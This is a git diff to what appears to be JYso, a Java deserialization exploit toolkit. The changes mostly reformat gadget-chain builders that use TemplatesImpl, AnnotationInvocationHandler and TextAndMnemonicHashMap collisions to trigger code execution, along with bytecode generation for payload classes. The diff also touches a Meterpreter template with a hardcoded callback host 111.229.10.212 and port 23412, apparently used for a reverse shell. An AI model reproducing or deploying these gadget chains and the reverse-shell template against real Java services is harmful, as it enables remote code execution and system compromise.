100644 --- a/src/main/java/com/qi4l/JYso/gadgets/utils/Gadgets.java +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/Gadgets.java @@ -17,8 +17,7 @@ import java.util.Hashtable; import java.util.Map; import static com.qi4l.JYso.gadgets.Config.Config.*; -import static com.qi4l.JYso.gadgets.utils.Utils.saveCtClassToFile; -import static com.qi4l.JYso.gadgets.utils.Utils.writeClassToFile; +import static com.qi4l.JYso.gadgets.utils.Utils.*; import static com.qi4l.JYso.gadgets.utils.handle.ClassFieldHandler.insertField; import static com.qi4l.JYso.gadgets.utils.handle.ClassMethodHandler.insertCMD; import static com.qi4l.JYso.gadgets.utils.handle.ClassNameHandler.generateClassName; @@ -28,9 +27,9 @@ import static com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.DESERIA public class Gadgets extends ClassLoader { public static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler"; - public static Class TPL_CLASS = TemplatesImpl.class; - public static Class ABST_TRANSLET = AbstractTranslet.class; - public static Class TRANS_FACTORY = TransformerFactoryImpl.class; + public static Class TPL_CLASS = TemplatesImpl.class; + public static Class ABST_TRANSLET = AbstractTranslet.class; + public static Class TRANS_FACTORY = TransformerFactoryImpl.class; static { // special case for using TemplatesImpl gadgets with a SecurityManager enabled @@ -205,7 +204,7 @@ public class Gadgets extends ClassLoader { } } - byte[] bytes = ctClass.toBytecode(); + byte[] bytes = ctClass.toBytecode(); String classCode = Base64.getEncoder().encodeToString(bytes); //System.out.println("Base64 Encoded CtClass: " + classCode); ctClass.detach(); @@ -274,7 +273,9 @@ public class Gadgets extends ClassLoader { } String className = ctClass.getName(); - writeClassToFile(className, ctClass.toBytecode()); + ctClass.writeFile(); + + //writeClassToFile(className, ctClass.toBytecode()); return className; } @@ -301,31 +302,33 @@ public class Gadgets extends ClassLoader { public Class defineClass(String name, byte[] bytecode) { return defineClass(name, bytecode, 0, bytecode.length); } - public static Hashtable makeTableTstring(Object o) throws Exception{ + + public static Hashtable makeTableTstring(Object o) throws Exception { Map tHashMap1 = (Map) Reflections.createWithoutConstructor("javax.swing.UIDefaults$TextAndMnemonicHashMap"); Map tHashMap2 = (Map) Reflections.createWithoutConstructor("javax.swing.UIDefaults$TextAndMnemonicHashMap"); - tHashMap1.put(o,"Unam4"); - tHashMap2.put(o,"SpringKill"); - Reflections.setFieldValue(tHashMap1,"loadFactor",1); - Reflections.setFieldValue(tHashMap2,"loadFactor",1); + tHashMap1.put(o, "Unam4"); + tHashMap2.put(o, "SpringKill"); + Reflections.setFieldValue(tHashMap1, "loadFactor", 1); + Reflections.setFieldValue(tHashMap2, "loadFactor", 1); Hashtable hashtable = new Hashtable(); - hashtable.put(tHashMap1,"Unam4"); - hashtable.put(tHashMap2,"SpringKill"); + hashtable.put(tHashMap1, "Unam4"); + hashtable.put(tHashMap2, "SpringKill"); tHashMap1.put(o, null); tHashMap2.put(o, null); return hashtable; } - public static HashMap maskmapToString(Object o1, Object o2) throws Exception{ + + public static HashMap maskmapToString(Object o1, Object o2) throws Exception { Map tHashMap1 = (Map) Reflections.createWithoutConstructor("javax.swing.UIDefaults$TextAndMnemonicHashMap"); Map tHashMap2 = (Map) Reflections.createWithoutConstructor("javax.swing.UIDefaults$TextAndMnemonicHashMap"); - tHashMap1.put(o1,null); - tHashMap2.put(o2,null); - Reflections.setFieldValue(tHashMap1,"loadFactor",1); - Reflections.setFieldValue(tHashMap2,"loadFactor",1); - HashMap hashMap = new HashMap(); - Class node = Class.forName("java.util.HashMap$Node"); + tHashMap1.put(o1, null); + tHashMap2.put(o2, null); + Reflections.setFieldValue(tHashMap1, "loadFactor", 1); + Reflections.setFieldValue(tHashMap2, "loadFactor", 1); + HashMap hashMap = new HashMap(); + Class node = Class.forName("java.util.HashMap$Node"); Constructor constructor = node.getDeclaredConstructor(int.class, Object.class, Object.class, node); constructor.setAccessible(true); Object node1 = constructor.newInstance(0, tHashMap1, "Unam4", null); diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/Serializer.java b/src/main/java/com/qi4l/JYso/gadgets/utils/Serializer.java index 73ca9ee..38104d3 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/utils/Serializer.java +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/Serializer.java @@ -89,6 +89,7 @@ public class Serializer implements Callable { XStream xstream = new XStream(); String xml = xstream.toXML(obj); System.out.println(xml); + return; } else if (IS_Kryo) { Kryo kryo = new Kryo(); ByteArrayOutputStream bos = new ByteArrayOutputStream(); diff --git a/src/main/java/com/qi4l/JYso/template/echoStatic/Meterpreter.java b/src/main/java/com/qi4l/JYso/template/echoStatic/Meterpreter.java index 38b2a82..42f6c26 100644 --- a/src/main/java/com/qi4l/JYso/template/echoStatic/Meterpreter.java +++ b/src/main/java/com/qi4l/JYso/template/echoStatic/Meterpreter.java @@ -14,11 +14,10 @@ public class Meterpreter implements Runnable { public static String host = "111.229.10.212"; public static String port = "23412"; - //public String host; - //public String port; - static /* synthetic */ Class class$0; - static /* synthetic */ Class class$1; - static /* synthetic */ Class class$2; + + static Class class$0; + static Class class$1; + static Class class$2; static { diff --git a/src/test/java/Main.java b/src/test/java/Main.java index cb90d32..dc58951 100644 --- a/src/test/java/Main.java +++ b/src/test/java/Main.java @@ -1,7 +1,13 @@ -import com.qi4l.JYso.LdapServer; - public class Main { public static void main(String[] args) { - System.out.println(LdapServer.class.getPackage().getName() + ".template.echo." + "WindowsEcho"); + String input = "org/apache/myfaces/core/service/IoServiceListenerSupport"; + int lastIndex = input.lastIndexOf('/'); + if (lastIndex != -1) { + String result = input.substring(lastIndex + 1); + System.out.println(result); + } else { + // 如果没有'/'字符，则直接打印原字符串 + System.out.println(input); + } } }